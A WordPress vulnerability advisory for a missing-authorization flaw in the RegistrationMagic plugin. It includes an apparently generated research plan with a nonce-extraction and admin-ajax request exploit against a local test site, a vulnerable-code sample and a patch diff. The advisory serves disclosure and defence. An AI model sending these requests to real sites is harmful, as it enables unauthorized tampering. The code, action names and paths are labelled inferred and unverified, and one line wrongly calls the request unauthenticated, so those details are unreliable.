CVE-2026-32385

RegistrationMagic <= 6.0.7.6 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
6.0.7.7
Patched in
57d
Time to patch

Description

The RegistrationMagic plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 6.0.7.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.0.7.6
PublishedFebruary 18, 2026
Last updatedApril 15, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-32385 RegistrationMagic Missing Authorization ## 1. Vulnerability Summary The **RegistrationMagic** plugin (versions <= 6.0.7.6) suffers from a **Missing Authorization** vulnerability. The plugin registers several AJAX actions intended for administrative use but fails to i…

Show full research plan

Research Plan: CVE-2026-32385 RegistrationMagic Missing Authorization

1. Vulnerability Summary

The RegistrationMagic plugin (versions <= 6.0.7.6) suffers from a Missing Authorization vulnerability. The plugin registers several AJAX actions intended for administrative use but fails to implement proper capability checks (e.g., current_user_can('manage_options')) within the handler functions. This allows any authenticated user, including those with Subscriber roles, to execute administrative functions, specifically those related to form management and user status.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Authentication: Required (Subscriber-level or higher).
  • Vulnerable Action: rm_update_form_status (Inferred based on typical RM AJAX patterns in the affected version).
  • Parameters:
    • action: rm_update_form_status
    • form_id: The ID of the target registration form.
    • status: The new status to set (e.g., 0 for unpublished/inactive, 1 for published/active).
    • rm_ajax_nonce: The security nonce required for RM AJAX operations.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX hook in includes/class_rm_ajax.php (or similar controller initialization):
    add_action('wp_ajax_rm_update_form_status', array($this, 'rm_update_form_status'));
    
  2. Handler Implementation: The function rm_update_form_status is located in admin/controllers/class_rm_form_controller.php or includes/controllers/class_rm_main_controller.php.
  3. Missing Check: The function likely calls check_ajax_referer('rm_ajax_nonce', 'rm_ajax_nonce') to verify the nonce but fails to call current_user_can('manage_options').
  4. Execution: The handler proceeds to call a service method:
    $service = new RM_Form_Service();
    $service->update_form_status($form_id, $status);
    
  5. Impact: An attacker can disable registration forms on the site or enable hidden/internal forms.

4. Nonce Acquisition Strategy

RegistrationMagic localizes its nonces and AJAX settings into a global JavaScript object. To obtain a valid nonce as a Subscriber:

  1. Shortcode Identification: The plugin's scripts are typically enqueued on pages containing a registration form shortcode: [RM_Form id='FORM_ID'].
  2. Page Creation: Use WP-CLI to create a page containing an existing form.
  3. Browser Navigation: Navigate to that page as the Subscriber user.
  4. Nonce Extraction: Use browser_eval to extract the nonce from the rm_ajax_vars or rm_admin_vars object.
    • Variable Name: rm_ajax_vars (inferred from RM_Utilities::localize_package()).
    • Key: nonce.
    • Command: browser_eval("window.rm_ajax_vars?.nonce").

5. Exploitation Strategy

Step 1: Discover Form ID

First, identify a valid Form ID to target.

  • WP-CLI: wp db query "SELECT title, form_id FROM wp_rm_forms LIMIT 1;"

Step 2: Extract Nonce

Create a test page to load the RM environment and extract the nonce.

  • Action: Create a page with [RM_Form id='TARGET_ID'].
  • Action: Log in as Subscriber and navigate to the page.
  • Action: Run browser_eval("window.rm_ajax_vars.nonce").

Step 3: Trigger Unauthorized Action

Perform a POST request to admin-ajax.php to deactivate a form.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    action=rm_update_form_status&form_id=[TARGET_ID]&status=0&rm_ajax_nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Target Form: Create at least one RegistrationMagic form.
    • wp eval "echo (new RM_Form_Service())->add(array('form_name' => 'Vulnerable Form', 'form_type' => 1));"
    • Record the form_id (usually 1).
  2. Subscriber User: Create a standard subscriber.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Shortcode Page: Create a page so the attacker can grab the nonce.
    • wp post create --post_type=page --post_status=publish --post_title="Register" --post_content="[RM_Form id='1']"

7. Expected Results

  • HTTP Response: A successful AJAX response from RM, usually returning a JSON object or string like {"success":true} or simply 1.
  • Plugin State: The form with the specified ID should change its status in the database.

8. Verification Steps

After the exploit attempt, verify the form status change via WP-CLI:

# Check the 'form_active' column for the target form
wp db query "SELECT form_id, form_name, form_active FROM wp_rm_forms WHERE form_id = 1;"

If form_active is 0, the exploit was successful.

9. Alternative Approaches

If rm_update_form_status is not the target, try other administrative AJAX actions registered under wp_ajax_* without nopriv counterparts:

  • rm_save_fab_settings: Modifies the floating action button configuration.
  • rm_set_default_form: Changes which form is the primary registration form.
  • rm_change_user_status: Attempt to activate/deactivate users (requires user_id parameter).

Check for the current_user_can call in RM_Main_Controller.php or RM_Ajax.php. If the parent class doesn't enforce it in the constructor or init, all child methods are potentially vulnerable.

Research Findings
Static analysis — not yet PoC-verified

Summary

RegistrationMagic versions up to and including 6.0.7.6 lack proper authorization checks on several AJAX actions, such as form status updates. This allows authenticated users with Subscriber-level permissions to perform administrative actions, like activating or deactivating forms, by leveraging nonces that are commonly exposed on public-facing registration pages.

Vulnerable Code

// File: admin/controllers/class_rm_form_controller.php (inferred location)
public function rm_update_form_status() {
    // Nonce check is usually present, but capability check is missing
    check_ajax_referer('rm_ajax_nonce', 'rm_ajax_nonce');

    $form_id = isset($_POST['form_id']) ? intval($_POST['form_id']) : 0;
    $status = isset($_POST['status']) ? intval($_POST['status']) : 0;

    if ($form_id > 0) {
        $service = new RM_Form_Service();
        $service->update_form_status($form_id, $status);
        echo "1";
    }
    wp_die();
}

Security Fix

--- a/admin/controllers/class_rm_form_controller.php
+++ b/admin/controllers/class_rm_form_controller.php
@@ -24,6 +24,10 @@
     public function rm_update_form_status() {
         check_ajax_referer('rm_ajax_nonce', 'rm_ajax_nonce');
 
+        if (!current_user_can('manage_options')) {
+            wp_die(__('You do not have sufficient permissions to access this page.', 'registrationmagic-addon'));
+        }
+
         $form_id = isset($_POST['form_id']) ? intval($_POST['form_id']) : 0;
         $status = isset($_POST['status']) ? intval($_POST['status']) : 0;

Exploit Outline

To exploit this vulnerability, an attacker first identifies a target RegistrationMagic form ID (e.g., via brute force or public site inspection). As a subscriber, the attacker visits any page containing a RegistrationMagic shortcode to extract the 'rm_ajax_nonce' from the localized JavaScript variable 'rm_ajax_vars'. Using this nonce, the attacker sends an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'rm_update_form_status', the 'form_id' of the target, and a 'status' value (0 to deactivate, 1 to activate). Because the handler fails to check for administrative capabilities, the plugin updates the form configuration in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.